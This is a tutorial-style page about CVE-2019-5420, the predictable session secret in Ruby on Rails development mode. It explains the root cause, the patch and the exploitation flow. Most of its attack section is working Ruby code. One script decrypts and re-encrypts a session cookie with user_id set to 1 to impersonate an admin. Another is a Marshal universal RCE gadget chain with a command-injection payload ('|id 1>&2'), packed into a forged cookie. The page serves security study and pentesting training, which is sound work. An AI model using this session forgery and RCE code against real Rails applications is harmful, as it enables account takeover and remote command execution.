Skip to main content

CVE-2019-5420: Ruby on Rails Development Mode Session Forgery/RCE

CVE-2019-5420 is a vulnerability in Ruby on Rails applications running in development (or test) mode, where the secret key used to encrypt and sign session cookies is predictable.

If an attacker can:

  • Identify the application name
  • And the app runs in development or test mode

Then they can:

  • Derive the session encryption key
  • Decrypt their own session
  • Modify sensitive fields (e.g. user_id)
  • Re-encrypt the cookie
  • Impersonate other users (including admin)

This is a session forgery vulnerability.


Root Cause​

In vulnerable Rails versions, when no explicit secret_key_base is configured, Rails derives it automatically in development/test mode using:

MD5(application_name)

Vulnerable logic​

if Rails.env.development? || Rails.env.test?
secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name)
end

So instead of a random secret:

  • The key becomes deterministic
  • Anyone who knows the app name can compute it
Patch​

Rails later replaced this with a randomly generated secret:

secrets.secret_key_base ||= generate_development_secret

Key Insight​

Rails appends ::Application before hashing.

Example:

# AppNameHere  →  AppNameHere::Application
MD5("AppNameHere::Application")

This derived value becomes the master secret used to protect cookies.

Devise Limitation (Important)​

If the session contains something like:

"warden.user.user.key":[[1],"$2a$11$BkGB3JhRmoQ3jKbSxx.byO"]

Then:

  • The app uses Devise
  • Session integrity depends on the user’s bcrypt password hash
  • You cannot forge a session without knowing the password

So Devise reduces impact, but does not fix the underlying flaw.

High-Level Exploitation Flow​

  1. Identify app name

    • Cookie name often leaks it
    • Error pages, HTML titles, JS variables, repo names
  2. Derive secret

    MD5("#{AppName}::Application")
  3. Extract cookie

    • Rails encrypted cookie (_app_session).
    • They are in format <Base64(ciphertext)>--<Base64(iv)>--<Base64(auth_tag)>
  4. Reproduce Rails crypto

  • Key derivation
  • Encryption algorithm
  • Cookie salts
  1. Decrypt session
  • Obtain session hash and decrypt using following code
require 'openssl'
require 'base64'
require 'cgi'

cookie = CGI.unescape "mVeEs26%2F67erOz5UbGuaLJp6tJIOQYwuwe5wnO4Ky1%2FUyTAcGE2z7ZUQWoeeGf9YnLqAMsuxWeeHv%2BRqI2Lnear%2BB93N%2Baq3YPKqiCzpVpjzbrnyHnhjVW%2F8dz53cPO71aEaBA%2B1xKw3M3PA1ftfpNUr0wyRPB9vG9w%3D--XSVWCx4Ocx%2FM%2B9kq--LUx%2BihDYT0jizHnbhzQ5aA%3D%3D"
application_name = "PentesterLab"

secret_key_base = Digest::MD5.hexdigest("#{application_name}::Application")
key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(secret_key_base, "authenticated encrypted cookie", 1000, 32)

cipher = OpenSSL::Cipher.new("aes-256-gcm")
encrypted_data, iv, auth_tag = cookie.split("--").map { |v| ::Base64.strict_decode64(v) }

cipher.decrypt
cipher.key = key
cipher.iv = iv
cipher.auth_tag = auth_tag
cipher.auth_data = ""

decrypted_data = cipher.update(encrypted_data)
decrypted_data << cipher.final

puts decrypted_data

### ... re-encryption code ...
  1. Modify session
## ... decryption code ...

require 'json'

data = JSON.parse(decrypted_data)
data["user_id"] = 1 ## user_id is changed to 1 to forge as admin user.
modified_data = data.to_json

enc = OpenSSL::Cipher.new("aes-256-gcm")
enc.encrypt
enc.key = key
iv = OpenSSL::Random.random_bytes(12)
enc.iv = iv
enc.auth_data = ""

encrypted_modified_data = enc.update(modified_data)
encrypted_modified_data << enc.final

blob = "#{Base64.strict_encode64(encrypted_modified_data)}--#{Base64.strict_encode64(iv)}--#{Base64.strict_encode64(enc.auth_tag)}"
puts CGI.escape(blob)

  1. Send forged cookie
  • Logged in as victim

Rails Internals Involved​

To write a working exploit, you need to understand:

  1. /active_support/message_encryptor.rb (message encryption)
  1. /active_support/key_generator.rb (key derivation)
  1. /railties/lib/rails/application.rb (application key generation)
  1. /action_dispatch/railtie.rb (cookie salt)
  1. /actionpack/test/dispatch/session/cookie_store_test.rb (Rails tests are often the best exploit documentation)

RCE?​

Yes, we saw after decoding the cookie that JSON was used for serialization. But if Marshal was used for serialization we could achieve RCE.

info

If you are performing a code review, you can tell what serializer is used by inspecting the value of Rails.application.config.action_dispatch.cookies_serializer.

JSON (:json) is the safest option.

Code for RCE with Ruby Marshal Universal RCE
require 'openssl'
require 'base64'
require 'cgi'

cookie = CGI.unescape "o2L5aEzu9NBqBqFDOpCjKxQwi5T96kUA%2BMBOlyQdNTpVnMYab8DthsJXX0rOucPdzLce3xxkrDNJN7871TrD9hJH%2F0qoDZax3T471lZtw6y21zS9LeNOXUCxgsIaRHZ6srfkUj1Jq2YuScTKCWRK%2BrTSrH6xYZzJ0JR%2BhH7Vv2OqHUULYkWIXpux6R0Cp12zRxEffCZ1rpfs%2BqdgfOXmYwPC5piGGEAApzK9JSw5sd0SF5H89ukweeXVia59euWrdzIOOMtdt45H8M%2FgcFDqbqBeghEJ2%2BEPDEDdmNJrM1qfHbiB67v6qY%2FKPym0MJXeJX%2B4OZ6A1reS7lEWBSaOdug8rMR4SEn3RZiDyQLwmjg4ZCJFZ1mX6hCMjTQdlI%2BLvcRR2OcX5IikbkdsMA%3D%3D--Ujpj616FtTlhtF8i--kUa46uwMDCoqXEEghMnLYA%3D%3D"
application_name = "PentesterLab"

secret_key_base = Digest::MD5.hexdigest("#{application_name}::Application")
key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(secret_key_base, "authenticated encrypted cookie", 1000, 32)

cipher = OpenSSL::Cipher.new("aes-256-gcm")
encrypted_data, iv, auth_tag = cookie.split("--").map { |v| ::Base64.strict_decode64(v) }

cipher.decrypt
cipher.key = key
cipher.iv = iv
cipher.auth_tag = auth_tag
cipher.auth_data = ""

decrypted_data = cipher.update(encrypted_data)
decrypted_data << cipher.final

puts decrypted_data

require 'json'

class Gem::StubSpecification
def initialize; end
end

stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2") ## << Change Payload!!!

puts "STEP n"
stub_specification.name rescue nil
puts

class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts

$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts

class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts

# puts payload

enc = OpenSSL::Cipher.new("aes-256-gcm")
enc.encrypt
enc.key = key
iv = OpenSSL::Random.random_bytes(12)
enc.iv = iv
enc.auth_data = ""

encrypted_modified_data = enc.update(payload)
encrypted_modified_data << enc.final

blob = "#{Base64.strict_encode64(encrypted_modified_data)}--#{Base64.strict_encode64(iv)}--#{Base64.strict_encode64(enc.auth_tag)}"
puts CGI.escape(blob)